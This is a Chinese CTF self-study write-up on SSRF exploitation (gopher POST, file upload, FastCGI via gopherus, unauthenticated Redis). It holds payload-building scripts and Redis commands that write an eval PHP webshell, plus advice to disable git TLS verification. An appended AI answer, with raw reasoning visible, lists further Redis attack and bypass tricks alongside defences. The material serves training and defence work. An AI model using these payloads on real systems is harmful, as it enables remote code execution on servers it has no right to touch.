CTF自学-SSRF(2)

POST请求

        首先还是用十分方便的file协议看源码

        这里的index.php其实和SSRF第一题内网访问的一样,之前忘记分析了,这里简单解释一下关键代码含义。

$ch = curl_init();    //初始化一个新的curl会话
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']); //设置CURLOPT_URL为request中的URL
curl_setopt($ch, CURLOPT_HEADER, 0); //设置CURLOPT_HEADER为0时,不包含头部信息在输出中
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); //设置CURLOPT_FOLLOWLOCATION为1时,跟踪跳转链接
curl_exec($ch);
curl_close($ch);

        接下来看flag.php源码,可以看到与第一题内网访问不同的是这次的flag.php不仅对来访的ip进行检查,还会检查POST请求包中的key的值是否正确,而key的正确答案显然就在下面debug注释中嵌入的php代码里,通过http协议访问该文件即可看到php执行结果获取key。

        现在的问题是需要使得index.php中的curl会话能发出含有正确key的POST请求,这样才能同时满足flag.php中的IP要求和key要求。

        正常情况下用curl实现post请求是用如下设置实现:

curl_setopt($ch, CURLOPT_URL, 'http://127.0.0.1/flag.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

        然而这里条件有限,不能去设置CURLOPT_POST这些选项来完成POST请求。但是我通过查找发现还有一种方式,即通过gopher协议实现POST请求。Gopher协议是一种早期的互联网协议,用于在网络上获取文本信息,默认端口号为70。gopher协议的格式通常为:

gopher://hostname:port/_数据

        由于gopher协议本质就是基于TCP的套接字,发送的ip、端口号和数据都可以自定义,所以也可以发出http协议中的GET/POST请求,而它又受curl方法支持,所以将含有POST请求包的gopher协议传入CURLOPT_URL发到80端口,即可完成POST请求,类似的还可以完成其他请求如ftp等。需要主要三点:

        1.gopher协议默认端口是70,发出http请求时需要显示填写端口80。

        2.gopher协议执行时会将数据部分进行URL解码,所以需要将POST请求进行URL编码,并且将编码后的URL换行符'%0A'替换为gopher协议中支持的换行符'%0D%0A';

        3.在浏览器地址栏传递的GET请求里'/?url='后面的内容也需要进行URL编码,所以在1和2的基础上做好的payload还需要再进行一次URL编码。

        这里为了能够得到一个编写好的POST请求(要求包含正确的content-length,content-type,origin等字段)可以在终端补全flag.php页面的提交按钮,然后点击提交后用BurpSuite抓包,再完成payload。

        flag.php页面:

        补全提交按钮:

        抓到的包:

        构造payload:

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: challenge-b8a6b0fb5927e641.sandbox.ctfhub.com:10800
Content-Length: 62
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://challenge-b8a6b0fb5927e641.sandbox.ctfhub.com:10800
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-b8a6b0fb5927e641.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

key=0831debdea14b5bc820522d505574512&submit=%E6%8F%90%E4%BA%A4
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)#第一次URL编码
new = tmp.replace('%0A','%0D%0A')#gopher中POST请求 换行使用 %0D%0A 
result = 'gopher://127.0.0.1:80/'+'_'+new #补上gopher协议头
result = urllib.parse.quote(result)#第二次URL编码
print(result)       

        将运行结果传入index.php的url得到flag

上传文件

        首先用file协议看index.php源码,发现和前面的题目一样只起到跳转作用。

        然后看flag.php源码,可以看到以127.0.0.1上传一个文件即可获得flag

        按照上节的思路,使用gopher协议发送Post请求完成文件上传。

        补全提交按钮,选择提交的文件,注意文件非空:

        点击提交时抓包:

        利用gopher协议构造payload:

        payload放入URL获取flag:

FastCGI协议

        FastCGI协议是用于服务器中间件和后端通信的协议(通常也只在内网开放端口,PHP-FPM是常见的接收Nginx请求的后端FastCGI应用,端口9000)。在SSRF攻击中利用服务器的gopher协议头加FastCGI协议请求包即可伪造服务器对后端发送请求。在前面两题中使用了gopher+http请求,在本题则使用gopher+FastCGI请求,这就是本题的不同之处,请求体不同也导致了攻击效果不同。通常来说,http请求会在服务器中间件被解析,然后再转换为对后端的FastCGI请求,后端的CGI程序会返回执行的结果给服务器中间件,然后中间件再返回结果。如果这里用gopher+FastCGI请求直接发送了一个自己构造的FastCGI请求到后端,则自由度更大,因为自己构造的FastCGI请求是可以利用未授权访问漏洞实现类似文件包含漏洞的效果从而得到shell的,详情可以见本题提供的附件(这里)。

        下面分别绘制了在题目的环境中(只有一台服务器),使用gopher+http请求以及gopher+FastCGI请求时数据传递的过程:

gopher+http

gopher+FastCGI

        上面两个图是我自己的理解,有问题欢迎大家指正。由于FastGCI请求包通常由中间件自动生成,网上并没有找到比较好的手搓的FastGCI协议,所以这里直接借助工具来完成,gopherus可以一步到位生成gopher+FastCGI请求包。

        首先在kali终端输入如下命令安装gopherus,建议使用steam++加速:

git clone https://github.com/tarunkant/Gopherus

        报错解决方法:

export GIT_SSL_NO_VERIFY=1

        安装完成以后在Gopher文件夹下运行如下命令启动gopher的FastGCI攻击:

./gopherus.py --exploit fastcgi  

        根据提示输入服务器上存在的php文件和想要执行的php命令,gopherus会自动生成利用未授权访问漏洞执行外部代码、由gopher+FastGCI组成的payload。

        注意该payload不能直接使用,需要再进行一次URL编码,再将结果拷贝至浏览器的'/?url='后即可完成攻击使其执行相应代码。

        找到了flag文件后,用cat flag*替换ls / 命令读取flag即可:

Redis协议

        Redis是NOSQL数据库,即非关系型数据库,也是缓存数据库,即将数据存储在内存中,缓存的读取速度快,能够大大的提高运行效率,但是保存时间有限。而RESP(Redis Serialization Protocol)协议用于Redis客户端与服务器进行通信。

        RESP请求同样可以用gopoher协议封装,并发送到默认端口6379。利用Redis攻击的一种简单方法是,在无访问认证的情况下直接连接Redis数据库,然后通过修改Redis配置文件实现文件上传攻击。

        要构造RESP请求就需要了解Redis命令基础,常见数据结构和数据在传输时的格式参考该链接(这里),攻击需要用到的命令参考如下代码:

flushall                                    //删除所有数据库中的所有键
set payload <?php eval($_POST["cmd"]);?>    //添加一对键值(一句话木马)
config set dir var/www/html                 //设置存储持久化数据的位置
config set dbfilename shell.php             //设置存储持久化数据的文件名
save                                        //保存数据到文件(持久化)

        根据上面提到的参考资料,可以构造出包含上述命令的RESP请求,再结合前面的方法构造出gopher请求,生成最终payload。

'''
5种数据类型

Simple Strings 以 + 开头
error 以 - 开头
Integer 以 : 开头
Bulk Strings 以 $ 开头  有最大长度,比Simple Strings安全
array 以 * 开头

一条命令的数据格式为多个string组成的array
eg:发送命令[command1="word1 word2",command2="word3"]的数据格式为:
*2
$[len1]
[word1]
$[len2]
[word2]
*1
$[len3]
[word3]

'''
from TOOL_gopher import gopher_encode

cmd=[['flushall'],
     ['set', 'payload', '<?php eval($_POST["cmd"]);?>'],
     ['config', 'set', 'dir', '/var/www/html'],
     ['config', 'set', 'dbfilename', 'shell.php'],
     ['save']]

payload = ''
for command in cmd:
    payload += '*' + str(len(command)) + '\n'
    for word in command:
        payload += '$' + str(len(word)) + '\n' + word + '\n'
#print(payload)
print(gopher_encode(payload, 6379))

        也可以用gopher一键生成:

        使用蚁剑连接/shell.php即可。

        或者用GET版一句话木马+url传递system()函数来执行命令,也可。

<think>我们正在讨论CTF比赛中与SSRF(Server-SideRequestForgery)和Redis相关的攻击或防御技巧。根据提供的引用,攻击者常利用SSRF漏洞通过特定的协议(如dict或gopher)与内网的Redis服务交互,进而实现未授权访问、写入Webshell或执行其他恶意操作。以下是相关的攻击技巧和防御方法的总结:###攻击技巧1.**利用dict协议攻击Redis**(引用[1]):-通过SSRF发送dict协议的请求到Redis服务,可以执行Redis命令。-典型攻击步骤:-设置Redis的工作目录:`configsetdir/var/www/html`-设置保存的文件名:`configsetdbfilenamewebshell.php`-写入Webshell内容:`settest"<?php@eval($_POST['cmd']);?>"`(注意:这里的引号需要正确转义)-保存:`save`-这样就在Web目录下写入了webshell.php文件,攻击者可以通过蚁剑等工具连接。2.**利用gopher协议攻击Redis**(引用[2]):-gopher协议功能更强大,可以发送多行命令。-使用工具(如gopherus)生成攻击payload:-生成Redis的payload:`./gopherus.py--exploitredis`-输入要执行的PHP代码(如`<?phpeval($_POST["123"]);?>`),生成gopher链接。-由于gopher协议在传输中需要正确编码,通常需要二次URL编码。-将生成的payload通过SSRF漏洞发送,即可在目标服务器上写入Webshell。3.**绕过过滤**(引用[3]):-题目中可能过滤了`file://`、`dict`、`127.0.0.1`、`localhost`等关键词。-绕过方法:-使用IP的十进制表示(如`2130706433`代表`127.0.0.1`)或`0.0.0.0`。-使用DNS重绑定技术。-使用非标准端口或协议(如http协议访问Redis的6379端口,但Redis不支持HTTP,所以通常用gopher或dict)。-利用URL解析特性,如`http://abc@127.0.0.1`、`http://127.0.0.1:80@evil.com`等。###防御技巧1.**过滤输入**:-对用户输入的URL进行严格检查,禁止访问内网IP和特殊协议(如dict、gopher)。-使用正则表达式过滤,但要注意绕过技巧(如IP的多种表示形式)。2.**限制协议**:-只允许HTTP/HTTPS协议,禁止其他协议。3.**网络隔离**:-将关键服务(如Redis)置于内网,并设置防火墙规则,禁止外部访问。4.**Redis安全配置**:-为Redis设置强密码认证。-限制Redis的绑定IP(不要绑定在0.0.0.0)。-以低权限用户运行Redis,并限制其文件写入权限。5.**使用SSRF防护机制**:-在服务端设置请求的目标地址白名单。-使用DNS解析并验证目标IP是否在允许范围内。###示例:攻击Redis写入Webshell假设存在SSRF漏洞,且内网Redis无认证,攻击者可以构造如下dict协议的请求(注意空格和换行需要正确编码):```dict://127.0.0.1:6379/configsetdir/var/www/htmldict://127.0.0.1:6379/configsetdbfilenameshell.phpdict://127.0.0.1:6379/settest"<?php@eval($_POST['cmd']);?>"dict://127.0.0.1:6379/save```但实际中,由于dict协议一次只能发送一个命令,且需要多个请求,因此通常使用gopher协议在一个请求中发送多个命令。###注意事项-CTF中,Redis可能运行在非默认端口或需要绕过过滤。-写入Webshell的路径需要可写,且Web服务器能够解析。§§相关问题§§1.如何防御SSRF攻击Redis?2.CTF中,如果过滤了dict和gopher协议,还有哪些方法可以利用SSRF攻击Redis?3.Redis除了写入Webshell,还可以利用SSRF进行哪些攻击?</think>### CTF SSRF Redis攻击与防御技巧 在CTF比赛中,SSRF(服务端请求伪造)结合Redis的攻击是常见题型。以下是关键技巧总结: --- #### **攻击技巧(利用SSRF操作Redis)** 1. **协议利用** - **dict协议**:直接发送Redis命令(需URL编码) ```http dict://127.0.0.1:6379/CONFIG%20SET%20dir%20/var/www/html ``` - **gopher协议**(更强大):支持多行命令,常用工具`gopherus`生成Payload ```python # 生成Payload示例(自动处理换行编码) ./gopherus.py --exploit redis ``` 2. **写入Webshell** - 经典四步操作: ```redis CONFIG SET dir /var/www/html # 设置保存目录 CONFIG SET dbfilename shell.php # 设置文件名 SET payload "<?php eval($_POST['cmd']);?>" # 写入恶意代码 SAVE # 保存到文件 ``` - 需注意特殊字符转义(如`<`需转为`<`) 3. **绕过过滤** - **IP绕过**:用`0.0.0.0`、`2130706433`(127.0.0.1的整数形式)或`localhost`替代 - **协议绕过**:若过滤`dict/gopher`,尝试`http://0.0.0.0:6379/?`(需Redis支持HTTP) - **分块编码**:对Payload二次URL编码(引用[2]示例) 4. **其他利用方式** - 写计划任务:`CONFIG SET dir /var/spool/cron/` - 主从复制攻击:通过`SLAVEOF`命令控制Redis从恶意服务器加载模块 - 读取敏感文件:`CONFIG GET *`获取Redis配置 --- #### **防御技巧** 1. **输入过滤** - 协议黑名单:禁用`file://`、`dict://`、`gopher://` - IP/域名限制:过滤`127.0.0.1`、`localhost`、内网IP段 - 正则强化:检测异常路径(如`/var/spool/cron`) 2. **Redis加固** ```bash # 关键配置 bind 127.0.0.1 # 只监听本地 requirepass "强密码" # 启用认证 rename-command CONFIG "" # 禁用危险命令 ``` 3. **服务隔离** - 将Redis部署在内网,禁止公网访问 - 使用防火墙限制6379端口的来源IP 4. **权限控制** - Redis以低权限用户运行(非root) - 限制Web目录写权限(防止写Shell) --- #### **CTF实战要点** 1. **判断Redis存在**:尝试访问`http://target:6379`若返回`-ERR wrong number of arguments`则存在。 2. **编码处理**: - 使用工具(如gopherus)自动生成编码后的Payload - 二次URL编码绕过WAF(引用[2]案例) 3. **回显利用**:若命令无回显,可通过延时或DNS外带数据判断执行结果。 > 参考案例:某CTF题通过SSRF的gopher协议发送Redis命令写入Webshell,最终用蚁剑连接获取flag(引用[2])。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值